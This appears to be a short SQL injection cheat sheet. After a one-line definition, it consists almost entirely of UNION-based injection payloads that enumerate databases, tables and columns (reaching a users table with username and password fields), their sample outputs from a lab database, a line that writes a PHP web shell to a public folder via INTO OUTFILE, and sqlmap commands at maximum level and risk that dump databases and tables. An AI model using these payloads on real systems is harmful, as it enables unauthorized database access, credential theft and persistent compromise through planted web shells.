SQL injection usually occurs when you ask a user for input, like their username/userid, and instead of a name/id, the user gives you an SQL statement that you will unknowingly run on your database.
1=1 a=a
#
--
#--
select version()
SELECT table_schema,table_name FROM information_Schema.tables
SELECT CONCAT(table_schema,table_name) FROM information_Schema.tables
SELECT CONCAT(table_schema,char(58),table_name) FROM information_Schema.tables
' union (select CONCAT(table_schema,char(58),table_name) from information_Schema.tables where 1=1 ORDER BY table_name LIMIT 0,1) #--
dummymalex:dummyms
table_schema = dummymalex
table_name = dummyms
AND table_schema != 'information_schema'
' union (select CONCAT(table_schema,char(58),table_name) from information_Schema.tables where 1=1 AND table_schema != 'information_schema' ORDER BY table_name LIMIT 0,1) #--
LIMIT 0,1
dummymalex:dummyms
table_schema = dummymalex
table_name = dummyms
LIMIT 1,1
dummymalex:users
table_schema = dummymalex
table_name = users
SELECT column_schema,column_name FROM information_Schema.columns
' union (select CONCAT(column_name) from information_Schema.columns where table_name='dummyms' LIMIT 0,1) #--
LIMIT 0,1
ID
LIMIT 1,1
dummyms
LIMIT 2,1
description
' union (select CONCAT(column_name) from information_Schema.columns where table_name='users' LIMIT 0,1) #--
LIMIT 0,1
ID
LIMIT 1,1
username
LIMIT 2,1
password
select 'SHELLCODE' INTO OUTFILE '/path/to/public/folder/shell.php';
sqlmap -u "http://target_server/"
sqlmap -u "http://target_server/" --dbms=mysql
sqlmap -u "http://target_server/" --data=param1=value1¶m2=value2
sqlmap -r request.txt -p [param-to-test]
sqlmap -r request.txt -p [param-to-test] --Batch
sqlmap -r request.txt -p psw --level=5 --risk=3 --dbms mysql --batch
sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt -batch --tables
sqlmap -r request.txt -batch --common-tables
sqlmap -r request.txt -batch -T users --common-column